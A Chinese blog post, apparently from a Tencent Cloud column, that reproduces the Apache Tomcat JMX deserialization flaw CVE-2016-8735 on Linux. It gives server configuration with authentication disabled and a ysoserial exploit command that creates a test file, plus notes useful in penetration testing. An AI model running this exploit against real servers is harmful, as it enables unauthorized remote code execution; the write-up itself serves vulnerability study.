前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Apache Tomcat Remote Code Execution(CVE-2016-8735)

Apache Tomcat Remote Code Execution(CVE-2016-8735)

作者头像
风流
发布于 2019-12-10 04:21:29
发布于 2019-12-10 04:21:29
1.3K00
代码可运行
举报
文章被收录于专栏:Urahara BlogUrahara Blog
运行总次数:0
代码可运行

Versions Affected

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Apache Tomcat 9.0.0.M1 to 9.0.0.M11
Apache Tomcat 8.5.0 to 8.5.6
Apache Tomcat 8.0.0.RC1 to 8.0.38
Apache Tomcat 7.0.0 to 7.0.72
Apache Tomcat 6.0.0 to 6.0.47
Earlier, unsupported versions may also be affected.

Description

​ 这个漏洞实质还是JMX反序列化漏洞,tomcat同样也用了JmxRemoteLifecycleListener这个监听器,但是tomcat在Oracle修复这个漏洞后自己没有及时更新,导致了反序列还依旧存在。网上搜了很多关于该漏洞的分析文章基本上都是0c0c0f牛在微信公众号里文章的转载或是变种,也基本都是在window系统上做的测试,所以也就想在linux也测试一下,也就有了这篇文章,大牛们勿喷呐= =、。

Test Environment

Linux Ubuntu server x86 Apache Tomcat (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.tar.gz) catalina-jmx-remote (http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/extras/catalina-jmx-remote.jar) //添加至%TOMCAT_HOME%/lib/目录下 Groovy (https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar) //添加至 %TOMCAT_HOME%/lib/目录下 POC (https://github.com/frohoff/ysoserial)

Test Steps

  1. 修改 tomcat server.xml 配置文件,添加以下内容: <Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
  2. 修改 tomcat/bin 目录下 catalina.sh ,在# —– Execute The Requested Command ——–处添加以下内容: # ----- Execute The Requested Command ----------------------------------------- CATALINA_OPTS="$CATALINA_OPTS -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false //设为无账号密码认证 -Djava.rmi.server.hostname=192.168.64.7" //设置hostname为服务器ip地址,否则JMX无法进行远程访问
  3. ./startup.sh启动tomcat服务
  4. 执行POC java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.64.7 10001 Groovy1 "touch /tmp/tomcat_test"

​ 关于linux配置tomcat运行远程监控(JMX)这里有个坑,网上搜到的绝大多数关于linux下tomcat jmx配置的文章,都使用了只修改catalina.sh为以下内容的方法,包括Zabbix Wiki也是推荐的这种方式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   CATALINA_OPTS="$CATALINA_OPTS 
   -Dcom.sun.management.jmxremote
   -Dcom.sun.management.jmxremote.port=9999
   -Dcom.sun.management.jmxremote.ssl=false
   -Dcom.sun.management.jmxremote.authenticate=false
   -Djava.rmi.server.hostname=192.168.64.7"

​ 但就这种方式而言,需要注意的是 catalina.sh 中提供的默认变量名 JAVA_OPTS 和 CATALINA_OPTS。由于 JAVA_OPTS 所添加的参数会在 tomcat 开启和关闭时都运行,所以如果你把 Dcom.sun.management.jmxremote.port=9999 写在 JAVA_OPTS 中时,关闭服务的时候是会报错的,而且在该漏洞场景中攻击利用也是不会成功的,因此需要注意的是在平常渗透过程当中若在linux下遇到了该漏洞,利用不成功也是正常的。


### Referer

http://seclists.org/oss-sec/2016/q4/502

微信公众号:0c0c0f

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
使用JConsole监控Tomcat
JConsole是一个基于JMX的GUI工具,用于连接正在运行的JVM。可以监控本地和远程的java程序。
星哥玩云
2022/07/04
1.5K0
jvisualvm.exe远程连接tomcat
花时间实践了下jvisualvm.exe远程监控tomcat jvisualvm.exe 是java自带一个jvm监控可视化工具,在%JAVA_HOME%/bin下 jvisualvm有两种方式监控jvm,分别是JMX和jstatd.自己实践的是JMX方式 环境:(java 1.7,tomcat7.0 centos6.4) 1,首先先打开tomcat jmx功能 在%Tomcat_Home%/bin下,建立setenv.sh文件(注意文件名,多说一句,tomcat不建议直接改catalina.sh文件的。推
技术蓝海
2018/04/26
1.7K0
jvisualvm.exe远程连接tomcat
tomcat cpu暴涨的原因之一及其解决方法
当你使用tomcat部署web系统时,过了一段时间发现cpu暴涨,你不防试试下面的方法,看看是否程序内的死循环导致cpu暴涨。 第一步:增加tomcat监控对外端口 在你的tomcat的bin目录下找到catalina.sh在二行加上
lyb-geek
2018/07/26
1.1K0
tomcat cpu暴涨的原因之一及其解决方法
Jconsole远程监控tomcat 的JVM内存(linux、windows)
Jconsole是JDK自带的监控工具,在JDK/bin目录下可以找到。它用于连接正在运行的本地或者远程的JVM,对运行在java应用程序的资源消耗和性能进行监控,并画出大量的图表,提供强大的可视化界面。而且本身占用的服务器内存很小,甚至可以说几乎不消耗,不失为一款好工具。
流柯
2018/08/30
3.2K0
微服务架构(java环境&tomcat)
Jave Runtime Environment JAVA运行时环境 类文件路径 命令文件 或者可执行脚本
全栈程序员站长
2022/06/29
5160
微服务架构(java环境&tomcat)
利用VisualVm和JMX远程监控Java进程
在前一篇文章里我们发现通过jstatd + VisualVm的方式,不能获得Java进程的CPU、线程、MBean信息,这时JMX就要登场了。
颇忒脱
2018/10/19
2K0
利用VisualVm和JMX远程监控Java进程
zabbix监控jvm内存
Zabbix自带监控系统的内存利用率和CPU利用率,但是系统内存并不能反应JVM内存情况
陈灬大灬海
2019/09/12
5.4K2
zabbix监控jvm内存
基于JVisualVM的可视化监控
本小节我们介绍一下如何使用JDK自带的jvisualvm工具来监控本地的Java进程,该工具是一个图形化的监控工具。
端碗吹水
2020/09/23
2.3K0
基于JVisualVM的可视化监控
Tomcat开启JMX监控详解
      # cd /opt/tomcat/apache-tomcat-8.0.48/bin/
星哥玩云
2022/07/29
4.9K0
Tomcat开启JMX监控详解
Zabbix 监控Tomcat
在zabbix-server段需要安装zabbix-Java-geteway,需要在zabbix的官方下载,地址如下:
星哥玩云
2022/07/03
8360
Zabbix 监控Tomcat
用JMX远程监控Tomcat
注意:此配置添加在catalina.bat文件开头的注释行(rem或#)后面即可。
流柯
2018/08/31
2.2K0
用JMX远程监控Tomcat
细说tomcat之应用监控
官网:http://tomcat.apache.org/tomcat-7.0-doc/monitoring.html
编程随笔
2019/09/11
1.4K0
细说tomcat之应用监控
学习笔记0530----Tomcat扩展
分别复制tomcat目录下的 conf logs temp webapps work 这5个目录到 test1 和 test2下。
嘻哈记
2020/11/24
6470
远程监控tomcat运行
插件下载地址:https://github.com/oracle/visualvm/releases
BUG弄潮儿
2022/06/30
1.2K0
远程监控tomcat运行
JConsole监控远程WebLogic和Tomcat
JConsole可以对远程主机上的Java进程的内存使用情况进行监控。本文将讲解如何使用JConsole监控远程主机上的WebLogic和Tomcat。
星哥玩云
2022/07/04
1.8K0
JConsole监控远程WebLogic和Tomcat
VisualVM工具
VisualVM,能够监控线程,内存情况,查看方法的CPU时间和内存中的对 象,已被GC的对象,反向查看分配的堆栈(如100个String对象分别由哪几个对象分配出来的)。
乐心湖
2021/01/18
8480
VisualVM工具
windows下使用jconsole远程监控Tomcat
首先检查远程服务器hostname -i 192.168.1.190 1.编辑tomcat/bin/catalina.sh vi catalina.sh 搜索 Execute The Requested Command 在这一行上面加入一下配置 JAVA_OPTS='-Xms1024m -Xmx1024m -XX:PermSize=256M -XX:MaxNewSize=512m -XX:MaxPermSize=512m -Djava.rmi.server.hostname=192.168.1.190 -
小柒2012
2018/04/13
1.1K0
windows下使用jconsole远程监控Tomcat
Tomcat_03_监控
查考:http://www.oracle.com/technetwork/java/javase/downloads/index.html
Cyylog
2020/08/19
5370
Zabbix监控-使用JMX功能监控tomcat安装配置
zabbix2.0添加了支持用于监控JMX应用程序的服务进程,称为“Zabbix-Javagateway”;它是用java写的一个程序。
zhangdd
2018/08/01
9460
tomcat详解
1.jre-jdk-jvm介绍 jre java runtime enviroment java运行环境 jdk java delelopment kit java开发环境(很多内容) = jre + 额外java工具 jvm java virtual machine java虚拟机 **1份代码 想在不同的系统使用 **java 程序代码 运行在java虚拟机中 只要系统能有java环境(java虚拟机) 就可以运行代码 **1份代码 处处使用问题 代码可移植性 **对于 java虚拟机 一般关注 内存
派大星在吗
2021/12/17
1.4K0
相关推荐
使用JConsole监控Tomcat
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验